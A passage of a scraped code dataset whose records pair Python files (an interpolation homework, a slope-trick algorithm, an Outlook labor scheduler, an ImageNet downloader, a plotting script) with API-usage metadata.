"usage_type": "call"}, {"api_name": "warnings.filterwarnings", "line_number": 39, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 46, "usage_type": "call"}, {"api_name": "advent.domain_adaptation.config.cfg_from_file", "line_number": 75, "usage_type": "call"}, {"api_name": "advent.domain_adaptation.config.cfg.distributed", "line_number": 76, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg", "line_number": 76, "usage_type": "name"}, {"api_name": "advent.domain_adaptation.config.cfg.distributed", "line_number": 79, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg", "line_number": 79, "usage_type": "name"}, {"api_name": "torch.distributed.init_process_group", "line_number": 80, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 80, "usage_type": "attribute"}, {"api_name": "torch.device", "line_number": 81, "usage_type": "call"}, {"api_name": "advent.domain_adaptation.config.cfg.device_id", "line_number": 82, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg", "line_number": 82, "usage_type": "name"}, {"api_name": "advent.domain_adaptation.config.cfg.rank", "line_number": 83, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg", "line_number": 83, "usage_type": "name"}, {"api_name": "advent.domain_adaptation.config.cfg.world_size", "line_number": 84, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg", "line_number": 84, "usage_type": "name"}, {"api_name": "advent.domain_adaptation.config.cfg.device_type", "line_number": 85, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg", "line_number": 85, "usage_type": "name"}, {"api_name": "advent.domain_adaptation.config.cfg.performance_log", "line_number": 86, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg", "line_number": 86, "usage_type": "name"}, {"api_name": "torch.cuda.set_device", "line_number": 88, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 88, "usage_type": "attribute"}, {"api_name": "torch.npu.set_device", "line_number": 90, "usage_type": "call"}, {"api_name": "torch.npu", "line_number": 90, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg.is_master_node", "line_number": 92, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg", "line_number": 92, "usage_type": "name"}, {"api_name": "advent.domain_adaptation.config.cfg.EXP_NAME", "line_number": 95, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg", "line_number": 95, "usage_type": "name"}, {"api_name": "advent.domain_adaptation.config.cfg.EXP_NAME", "line_number": 96, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg", "line_number": 96, "usage_type": "name"}, {"api_name": "advent.domain_adaptation.config.cfg.SOURCE", "line_number": 96, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg.TARGET", "line_number": 96, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg.TRAIN", "line_number": 96, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg.EXP_NAME", "line_number": 99, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg", "line_number": 99, "usage_type": "name"}, {"api_name": "advent.domain_adaptation.config.cfg.TRAIN", "line_number": 101, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg", "line_number": 101, "usage_type": "name"}, {"api_name": "advent.domain_adaptation.config.cfg.TRAIN", "line_number": 102, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg", "line_number": 102, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 102, "usage_type": "call"}, {"api_name": "os.path", "line_number": 102, "usage_type": "name"}, {"api_name": "advent.domain_adaptation.config.cfg.EXP_ROOT_SNAPSHOT", "line_number": 102, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg.EXP_NAME", "line_number": 102, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 103, "usage_type": "call"}, {"api_name": "advent.domain_adaptation.config.cfg.TRAIN", "line_number": 103, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg", "line_number": 103, "usage_type": "name"}, {"api_name": "advent.domain_adaptation.config.cfg.TRAIN", "line_number": 106, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg", "line_number": 106, "usage_type": "name"}, {"api_name": "advent.domain_adaptation.config.cfg.TRAIN", "line_number": 107, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg", "line_number": 107, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 107, "usage_type": "call"}, {"api_name": "os.path", "line_number": 107, "usage_type": "name"}, {"api_name": "advent.domain_adaptation.config.cfg.EXP_ROOT_LOGS", "line_number": 107, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg.EXP_NAME", "line_number": 107, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 108, "usage_type": "call"}, {"api_name": "advent.domain_adaptation.config.cfg.TRAIN", "line_number": 108, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg", "line_number": 108, "usage_type": "name"}, {"api_name": "advent.domain_adaptation.config.cfg.TRAIN", "line_number": 110, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg", "line_number": 110, "usage_type": "name"}, {"api_name": "advent.domain_adaptation.config.cfg.TRAIN", "line_number": 112, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg", "line_number": 112, "usage_type": "name"}, {"api_name": "advent.domain_adaptation.config.cfg.is_master_node", "line_number": 113, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg", "line_number": 113, "usage_type": "name"}, {"api_name": "pprint.pprint", "line_number": 115, "usage_type": "call"}, {"api_name": "advent.domain_adaptation.config.cfg", "line_number": 115, "usage_type": "argument"}, {"api_name": "torch.manual_seed", "line_number": 120, "usage_type": "call"}, {"api_name": "advent.domain_adaptation.config.cfg.TRAIN", "line_number": 120, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg", "line_number": 120, "usage_type": "name"}, {"api_name": "torch.cuda.manual_seed", "line_number": 122, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 122, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg.TRAIN", "line_number": 122, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg", "line_number": 122, "usage_type": "name"}, {"api_name": "torch.npu.manual_seed", "line_number": 124, "usage_type": "call"}, {"api_name": "torch.npu", "line_number": 124, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg.TRAIN", "line_number": 124, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg", "line_number": 124, "usage_type": "name"}, {"api_name": "numpy.random.seed", "line_number": 125, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 125, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg.TRAIN", "line_number": 125, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg", "line_number": 125, "usage_type": "name"}, {"api_name": "random.seed", "line_number": 126, "usage_type": "call"}, {"api_name": "advent.domain_adaptation.config.cfg.TRAIN", "line_number": 126, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg", "line_number": 126, "usage_type": "name"}, {"api_name": "numpy.random.seed", "line_number": 129, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 129, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg.TRAIN", "line_number": 129, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg", "line_number": 129, "usage_type": "name"}, {"api_name": "os.environ.get", "line_number": 131, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 131, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 135, "usage_type": "call"}, {"api_name": "os.path", "line_number": 135, "usage_type": "name"}, {"api_name": "advent.domain_adaptation.config.cfg.TRAIN", "line_number": 135, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg", "line_number": 135, "usage_type": "name"}, {"api_name": "advent.domain_adaptation.config.cfg.TRAIN", "line_number": 136, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg", "line_number": 136, "usage_type": "name"}, {"api_name": "advent.model.deeplabv2.get_deeplab_v2", "line_number": 137, "usage_type": "call"}, {"api_name": "advent.domain_adaptation.config.cfg.NUM_CLASSES", "line_number": 137, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg", "line_number": 137, "usage_type": "name"}, {"api_name": "advent.domain_adaptation.config.cfg.TRAIN", "line_number": 137, "usage_type": "attribute"}, {"api_name": "torch.load", "line_number": 138, "usage_type": "call"}, {"api_name": "advent.domain_adaptation.config.cfg.TRAIN", "line_number": 138, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg", "line_number": 138, "usage_type": "name"}, {"api_name": "advent.domain_adaptation.config.cfg.TRAIN", "line_number": 139, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg", "line_number": 139, "usage_type": "name"}, {"api_name": "advent.domain_adaptation.config.cfg.TRAIN", "line_number": 149, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg", "line_number": 149, "usage_type": "name"}, {"api_name": "cityscapes.CityscapesDataSet", "line_number": 154, "usage_type": "call"}, {"api_name": "advent.domain_adaptation.config.cfg.DATA_DIRECTORY_SOURCE", "line_number": 154, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg", "line_number": 154, "usage_type": "name"}, {"api_name": "advent.domain_adaptation.config.cfg.DATA_LIST_SOURCE", "line_number": 155, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg", "line_number": 155, "usage_type": "name"}, {"api_name": "advent.domain_adaptation.config.cfg.TRAIN", "line_number": 156, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg", "line_number": 156, "usage_type": "name"}, {"api_name": "advent.domain_adaptation.config.cfg.TRAIN", "line_number": 157, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg", "line_number": 157, "usage_type": "name"}, {"api_name": "advent.domain_adaptation.config.cfg.TRAIN", "line_number": 158, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg", "line_number": 158, "usage_type": "name"}, {"api_name": "advent.domain_adaptation.config.cfg.distributed", "line_number": 159, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg", "line_number": 159, "usage_type": "name"}, {"api_name": "torch.utils.data.distributed.DistributedSampler", "line_number": 160, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 160, "usage_type": "attribute"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 161, "usage_type": "call"}, {"api_name": "torch.utils.data", "line_number": 161, "usage_type": "name"}, {"api_name": "advent.domain_adaptation.config.cfg.TRAIN", "line_number": 162, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg", "line_number": 162, "usage_type": "name"}, {"api_name": "advent.domain_adaptation.config.cfg.NUM_WORKERS", "line_number": 163, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg", "line_number": 163, "usage_type": "name"}, {"api_name": "advent.domain_adaptation.config.cfg.distributed", "line_number": 164, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg", "line_number": 164, "usage_type": "name"}, {"api_name": "advent.domain_adaptation.config.cfg.distributed", "line_number": 166, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg", "line_number": 166, "usage_type": "name"}, {"api_name": "advent.dataset.cityscapes.CityscapesDataSet", "line_number": 170, "usage_type": "call"}, {"api_name": "advent.domain_adaptation.config.cfg.DATA_DIRECTORY_TARGET", "line_number": 170, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg", "line_number": 170, "usage_type": "name"}, {"api_name": "advent.domain_adaptation.config.cfg.DATA_LIST_TARGET", "line_number": 171, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg", "line_number": 171, "usage_type": "name"}, {"api_name": "advent.domain_adaptation.config.cfg.TRAIN", "line_number": 172, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg", "line_number": 172, "usage_type": "name"}, {"api_name": "advent.domain_adaptation.config.cfg.TRAIN", "line_number": 173, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg", "line_number": 173, "usage_type": "name"}, {"api_name": "advent.domain_adaptation.config.cfg.TRAIN", "line_number": 174, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg", "line_number": 174, "usage_type": "name"}, {"api_name": "advent.domain_adaptation.config.cfg.TRAIN", "line_number": 175, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg", "line_number": 175, "usage_type": "name"}, {"api_name": "advent.domain_adaptation.config.cfg.TRAIN", "line_number": 176, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg", "line_number": 176, "usage_type": "name"}, {"api_name": "advent.domain_adaptation.config.cfg.distributed", "line_number": 177, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg", "line_number": 177, "usage_type": "name"}, {"api_name": "torch.utils.data.distributed.DistributedSampler", "line_number": 178, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 178, "usage_type": "attribute"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 179, "usage_type": "call"}, {"api_name": "torch.utils.data", "line_number": 179, "usage_type": "name"}, {"api_name": "advent.domain_adaptation.config.cfg.TRAIN", "line_number": 180, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg", "line_number": 180, "usage_type": "name"}, {"api_name": "advent.domain_adaptation.config.cfg.NUM_WORKERS", "line_number": 181, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg", "line_number": 181, "usage_type": "name"}, {"api_name": "advent.domain_adaptation.config.cfg.distributed", "line_number": 182, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg", "line_number": 182, "usage_type": "name"}, {"api_name": "advent.domain_adaptation.config.cfg.distributed", "line_number": 184, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg", "line_number": 184, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 187, "usage_type": "call"}, {"api_name": "os.path", "line_number": 187, "usage_type": "name"}, {"api_name": "advent.domain_adaptation.config.cfg.TRAIN", "line_number": 187, "usage_type": "attribute"}, {"api_name": "advent.domain_adaptation.config.cfg", "line_number": 187, "usage_type": "name"}, {"api_name": "yaml.dump", "line_number": 188, "usage_type": "call"}, {"api_name": "advent.domain_adaptation.config.cfg", "line_number": 188, "usage_type": "argument"}, {"api_name": "train_UDA.train_domain_adaptation", "line_number": 191, "usage_type": "call"}, {"api_name": "advent.domain_adaptation.config.cfg", "line_number": 191, "usage_type": "argument"}, {"api_name": "os.environ", "line_number": 195, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 196, "usage_type": "attribute"}]} {"seq_id": "40976042781", "text": "# https://www.cnblogs.com/wyzwyz/p/14038855.html\n\nfrom sortedcontainers import SortedList\n\ndef slopTrick(ls):\n ql,qr = SortedList([]),SortedList([])\n n = len(ls)\n lenN = [ls[i][1]-ls[i][0] for i in range(n)]\n ql.add(ls[0][0])\n qr.add(ls[0][0])\n ans = 0 \n addl,addr = 0,0\n for i in range(1,n):\n addl -= lenN[i]\n addr += lenN[i-1]\n L = ql[-1] + addl\n R = qr[0] + addr\n if ls[i][0]R:\n ans += ls[i][0] - R \n qr.remove(qr[0])\n qr.add( ls[i][0] -addr)\n qr.add(ls[i][0] - addr)\n ql.add(R-addl)\n else:\n ql.add(ls[i][0] - addl)\n qr.add( ls[i][0]-addr)\n #print(ans,addl,addr,L,R)\n return ans\n\n", "repo_name": "wherby/code", "sub_path": "algorithm/advancedDS/slopeTrick/slopTrickSortedList.py", "file_name": "slopTrickSortedList.py", "file_ext": "py", "file_size_in_byte": 923, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "sortedcontainers.SortedList", "line_number": 6, "usage_type": "call"}]} {"seq_id": "3172886414", "text": "import datetime\nimport pytz\nfrom win32com.client import Dispatch\nfrom twilio.rest import Client\nfrom datetime import datetime, timedelta\nfrom calendar_ops import (\n get_calendar_by_name,\n create_calendar_event,\n get_definite_calendar,\n get_outlook_events_for_date,\n get_labor_calendar,\n)\nfrom labor_ops import (\n gather_labor_requirements,\n schedule_labor_for_event,\n generate_labor_event_details,\n get_labor_positions_and_counts,\n get_labor_times_for_days,\n generate_labor_days_list,\n select_labor_days,\n get_labor_times_for_day,\n)\n\n\ndef main():\n labor_calendar = get_labor_calendar()\n if not labor_calendar:\n print(\"Unable to access the 'Labor' calendar in Outlook.\")\n return\n\n # Fetch the 'Definite' calendar\n calendar = get_definite_calendar()\n if not calendar:\n print(\"Unable to access the 'Definite' calendar in Outlook.\")\n return\n\n # Ask the user for the target date\n target_date_str = input(\n \"Which date are you scheduling labor for? (format: YYYY-MM-DD): \"\n )\n target_date = datetime.strptime(target_date_str, \"%Y-%m-%d\")\n\n # Fetch and display events from the calendar for that date\n events = get_outlook_events_for_date(target_date)\n if not events:\n print(f\"No events found for {target_date_str}.\")\n return\n\n if len(events) == 1:\n print(f\"\\nThe only event on {target_date_str} is '{events[0].Subject}'.\")\n selected_event = events[0]\n else:\n # Display the events and let the user choose one\n print(\"\\nAvailable events on \" + target_date_str + \":\")\n for idx, event in enumerate(events, 1):\n # Use date() method on the datetime object to display only the date\n start_date = event.Start.astimezone(pytz.timezone(\"America/Chicago\")).date()\n end_date = event.End.astimezone(pytz.timezone(\"America/Chicago\")).date()\n print(f\"{idx}. {event.Subject} ({start_date} - {end_date})\")\n\n # User specifies which event they're interested in\n event_choice = int(input(\"Which event are you scheduling labor for? \"))\n selected_event = events[event_choice - 1]\n\n # Schedule labor for the chosen event\n schedule_labor_for_event(selected_event)\n\n\nif __name__ == \"__main__\":\n main()\n", "repo_name": "audiovideoron/16day", "sub_path": "extractor/labor.py", "file_name": "labor.py", "file_ext": "py", "file_size_in_byte": 2309, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "calendar_ops.get_labor_calendar", "line_number": 26, "usage_type": "call"}, {"api_name": "calendar_ops.get_definite_calendar", "line_number": 32, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 41, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 41, "usage_type": "name"}, {"api_name": "calendar_ops.get_outlook_events_for_date", "line_number": 44, "usage_type": "call"}, {"api_name": "pytz.timezone", "line_number": 57, "usage_type": "call"}, {"api_name": "pytz.timezone", "line_number": 58, "usage_type": "call"}, {"api_name": "labor_ops.schedule_labor_for_event", "line_number": 66, "usage_type": "call"}]} {"seq_id": "35660877220", "text": "from math import sin\nfrom prettytable import PrettyTable\n\n\ndef f(x_):\n return sin(x_) - x_**2/2\n\n\n# x_ - что подставляем, x_k - что выкидываем\ndef l_kn(x_k, x_):\n w = w_dw(n+1, x_, x_k)\n dw = w_dw(n+1, x_k, x_k)\n return w/dw\n\n\ndef lagrange_polynom(n_, x_):\n ans = 0\n for x_k in selected_nodes[:n_+1]:\n ans += l_kn(x_k, x_) * all_nodes_table_dict[x_k]\n return ans\n\n\n# k - до какой степени-1 идем, x_ - что подставляем, x_j - что выкидываем\ndef w_dw(k, x_, x_j):\n ans = 1\n for x_i in selected_nodes[:k]:\n if x_i != x_j:\n ans *= (x_ - x_i)\n return ans\n\n\n# n - степень-1 многочлена, x_ - что подставляем\ndef newton_polynom(k, x_):\n if k == 0:\n return A_k(0)\n ans = A_k(k)\n for i in range(k):\n x_i = selected_nodes[i]\n ans *= (x_ - x_i)\n return newton_polynom(k-1, x_) + ans\n\n\ndef A_k(k):\n ans = 0\n for j in range(k+1):\n x_j = selected_nodes[j]\n dw = w_dw(k+1, x_j, x_j)\n ans += all_nodes_table_dict[x_j]/dw\n return ans\n\n\n# получаю n+1 узел, которые близко к заданному x_\ndef get_nodes_we_need(x_, n):\n nodes_we_need = []\n # сортирую в порядке отдаления x_i от x\n razn_temp = set()\n temp_dict = {}\n for node in nodes:\n razn = abs(x_ - node)\n razn_temp.add(razn)\n if razn in temp_dict.keys():\n temp_dict[razn].append(node)\n else:\n temp_dict[razn] = [node]\n razn_temp = list(razn_temp)\n razn_temp.sort()\n for t in razn_temp:\n for node in temp_dict[t]:\n nodes_we_need.append(node)\n return nodes_we_need[:n + 1]\n\n\ndef print_table(rows_list):\n table = PrettyTable(['i', 'X_i', 'f(X_i)'])\n i = 1\n for key in rows_list:\n table.add_row([i, key, all_nodes_table_dict[key]])\n i += 1\n print(table)\n\n\nprint('Задача алгебраического интерполирования')\nprint('Вариант 1')\nprint('Используются равноотстоящие узлы')\na, b = map(float, input('Введите через пробел начало и конец отрезка:').split())\nm = int(input('Введите m, где m+1 - число значений в таблице:'))\n\nh = (b - a)/m\nnodes = [a + i*h for i in range(m + 1)]\nall_nodes_table_dict = {x: f(x) for x in nodes}\nprint(\"Исходная таблица узел-значение\")\nprint_table(nodes)\n\nwhile True:\n n = int(input(f'Введите n - максимальную степень интерполяционного многочлена, n<={m}:'))\n while n > m:\n print('Некорректное значение n!')\n n = int(input(f'Введите n - максимальную степень интерполяционного многочлена, n<={m}:'))\n\n x = float(input('Введите, в какой точке посчитать функцию:'))\n selected_nodes = get_nodes_we_need(x, n)\n print(\"Отсортированная в порядке отдаления от x таблица узел-значение\")\n print_table(selected_nodes)\n L_x = lagrange_polynom(n, x)\n print(f'Значение полинома Лагранжа L(x) в точке х = {x}:', L_x)\n print('Абсолютная фактическая погрешность |f(x)-L(x)| =', abs(f(x) - L_x))\n P_x = newton_polynom(n, x)\n print(f'Значение полинома Ньютона P(x) в точке х = {x}:', P_x)\n print('Абсолютная фактическая погрешность |f(x)-P(x)| =', abs(f(x) - P_x))\n flag = input('Хотите ввести новые значения? (y/n):')\n if flag == 'n':\n break\n", "repo_name": "LiaSolo/methods_of_computation_homeworks", "sub_path": "hw_2.py", "file_name": "hw_2.py", "file_ext": "py", "file_size_in_byte": 3870, "program_lang": "python", "lang": "ru", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "math.sin", "line_number": 6, "usage_type": "call"}, {"api_name": "prettytable.PrettyTable", "line_number": 74, "usage_type": "call"}]} {"seq_id": "5907871228", "text": "import os,requests,threading,shutil\n\n#执行的线程数量\nthreadNum=5\n#储存数据集的路径\ndataDir=\"./data/imagenet/\"\n#ImageNet的数据集所在的位置\nsourcePath=\"fall.txt\"\nwith open(\"fall.txt\",\"r\") as fb:\n fall=fb.read()\n fallList=fall.split(\"\\n\")\n #计算每个线程需要处理的图片数量\n if (len(fallList) % threadNum) == 0:\n numsEach=len(fallList) / threadNum\n numsLast=numsEach\n else:\n numsEach=len(fallList) // threadNum\n numsLast=len(fallList) - (numsEach * (threadNum - 1))\n#写入缓存文件\nos.makedirs(\"tmp\",exist_ok=True)\nfor i in range(0,threadNum):\n with open(\"tmp/\"+str(i),\"w+\") as fb:\n if i == threadNum:\n begin = (i - 1) * numsEach\n end = (i - 1) * numsEach + numsLast\n fb.write(fallList[begin:end])\n else:\n begin = (i - 1) * numsEach\n end = (i * numsEach) - 1\n fb.write(fallList[begin:end])\n#下载文件\nfor i in range(0,threadNum):\n with open(\"tmp/\"+str(i),\"r\") as fb:\n for line in fb:\n if line:\n fallPart=line.split().split('\\t')\n assert len(fallPart) == 2\n synset = fallPart[0][0: fallPart[0].index('_')]\n imgPath = os.path.join(dataDir,'images',synset)\n os.makedirs(imgPath,exist_ok=True)\n imgUrl = fallPart[1]\n imgFile=os.path.join(imgPath,\"{}.jpg\".format(fallPart[0]))\n try:\n with open(imgFile,\"wb\") as f:\n f.write(requests.get(imgUrl).content())\n except:\n pass\nshutil.rmtree(\"tmp\")", "repo_name": "bigsk05/cnni", "sub_path": "inception/tools/download_threading.py", "file_name": "download_threading.py", "file_ext": "py", "file_size_in_byte": 1669, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.makedirs", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 39, "usage_type": "call"}, {"api_name": "os.path", "line_number": 39, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 40, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 42, "usage_type": "call"}, {"api_name": "os.path", "line_number": 42, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 45, "usage_type": "call"}, {"api_name": "shutil.rmtree", "line_number": 48, "usage_type": "call"}]} {"seq_id": "21946907607", "text": "\"\"\"Figure 1 plot - paradigm figure and behavior.\"\"\"\n\n# %%\n# Imports\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport seaborn as sns\nfrom matplotlib.lines import Line2D\nfrom mpl_toolkits.axes_grid1.inset_locator import inset_axes\n\nfrom config import ANALYSIS_DIR_LOCAL, STREAMS\nfrom utils import eq1, find_dot_idxs\n\n# %%\n# Settings\nanalysis_dir = ANALYSIS_DIR_LOCAL\n\n\nci = 68\n\nsubj_line_settings = dict(color=\"black\", alpha=0.1, linewidth=0.75)\naxhline_args = dict(color=\"black\", linestyle=\"--\", linewidth=1)\npointscale = 1\npointmarkers = \".\" # for pointplot which marker style\npointerrwidth = 3\npointlinewidth = axhline_args[\"linewidth\"]\npointcapwidth = 0.1\nswarmsize = 2\n\nminimize_method = \"Nelder-Mead\"\nx0_type = \"specific\"\n\n# Whether or not to draw lines through the extreme and mid points\n# to better show the slopes in the data and compare them without a model\ndraw_model_free_lines = False\n\n# Whether or not to additionally draw \"single\" in \"dual\" inset and vice versa\ninsets_plot_other = True\n\n# %%\n# File paths\nfname_accs = analysis_dir / \"derived_data\" / \"accuracies.tsv\"\n\nfname_weights = analysis_dir / \"derived_data\" / \"weights.tsv\"\nfname_weights_k_is_1 = analysis_dir / \"derived_data\" / \"weights_k_is_1.tsv\"\n\nfname_estimates = analysis_dir / \"derived_data\" / f\"estim_params_{minimize_method}.tsv\"\n\nfname_fig1 = analysis_dir / \"figures\" / \"fig1b+.pdf\"\n\n# %%\n# Load param estimates\ndf_estims = pd.read_csv(fname_estimates, sep=\"\\t\")\ndf_estims = df_estims[df_estims[\"x0_type\"] == x0_type]\n\n# %%\n# Figure 1b+\n# Figure 1a is created in LibreOffice Draw\n# Fig1a and Fig1b+ are then stitched together in Latex\n\n# figure layout\nwith sns.plotting_context(\"talk\"):\n fig, axs = plt.subplots(2, 3, figsize=(12, 8))\n fig.tight_layout(h_pad=2.25)\n# %%\n# panel b - accuracies\ndf_accs = pd.read_csv(fname_accs, sep=\"\\t\")\nwith sns.plotting_context(\"talk\"):\n\n x = \"stream\"\n order = STREAMS\n colname = \"accuracy\"\n ax = axs[0, 0]\n data = df_accs\n\n with plt.rc_context({\"lines.linewidth\": pointlinewidth}):\n sns.pointplot(\n x=x,\n order=order,\n y=colname,\n data=data,\n ci=ci,\n ax=ax,\n markers=pointmarkers,\n scale=pointscale,\n errwidth=pointerrwidth,\n capsize=pointcapwidth,\n color=\"black\",\n )\n\n sns.swarmplot(\n x=x,\n order=order,\n y=colname,\n data=data,\n ax=ax,\n size=swarmsize,\n )\n\n # ax.set_ylim(0.5, 1)\n ax.set_xlabel(\"\")\n ax.set_ylabel(\"Accuracy\")\n ax.set_xlim(-0.75, 1.75)\n\n # connect subj dots with lines\n # https://stackoverflow.com/a/51157346/5201771\n _idx1, _idx2 = find_dot_idxs(ax, int(df_accs.shape[0] / 2))\n locs1 = ax.get_children()[_idx1].get_offsets()\n locs2 = ax.get_children()[_idx2].get_offsets()\n\n # before plotting, we need to sort so that the data points correspond\n sort_idxs1 = np.argsort(data[data[\"stream\"] == STREAMS[0]][\"accuracy\"].to_numpy())\n sort_idxs2 = np.argsort(data[data[\"stream\"] == STREAMS[1]][\"accuracy\"].to_numpy())\n locs2_sorted = locs2[sort_idxs2.argsort()][sort_idxs1]\n\n for i in range(locs1.shape[0]):\n _x = [locs1[i, 0], locs2_sorted[i, 0]]\n _y = [locs1[i, 1], locs2_sorted[i, 1]]\n ax.plot(_x, _y, **subj_line_settings)\n\n ax.yaxis.set_major_locator(plt.MaxNLocator(5))\n ax.set_xticklabels([i.capitalize() for i in STREAMS])\n\n sns.despine(ax=ax)\n\n# %%\n# panels c and d - weightings\ndf_ws = pd.read_csv(fname_weights, sep=\"\\t\")\ndf_ws = df_ws[df_ws[\"weight_type\"].isin([\"data\", \"model\", \"model_k1\"])]\n\ndf_ws_k1 = pd.read_csv(fname_weights_k_is_1, sep=\"\\t\")\ndf_ws_k1 = df_ws_k1[df_ws_k1[\"weight_type\"].isin([\"data\", \"model\", \"model_k1\"])]\n\nwith sns.plotting_context(\"talk\"):\n\n for istream, stream in enumerate(STREAMS):\n data = df_ws[df_ws[\"stream\"] == stream]\n\n x = \"number\"\n colname = \"weight\"\n ax = axs[0, 1 + istream]\n\n sns.pointplot(\n data=data[data[\"weight_type\"] == \"data\"],\n x=x,\n y=colname,\n ax=ax,\n ci=68,\n color=f\"C{istream}\",\n )\n\n sns.pointplot(\n data=data[data[\"weight_type\"] == \"model\"],\n x=x,\n y=colname,\n ax=ax,\n ci=None,\n color=\"black\",\n join=False,\n scale=0.5,\n )\n plt.setp(ax.collections, zorder=100, label=\"\")\n\n plot_k1_fitted = True # whether to plot \"fitted\" k1, or by just setting k=1\n if plot_k1_fitted:\n ____ = df_ws_k1[df_ws_k1[\"stream\"] == stream]\n k1_true = ax.plot(\n np.arange(9),\n ____[____[\"weight_type\"] == \"model_k1\"]\n .groupby(\"number\")[\"weight\"]\n 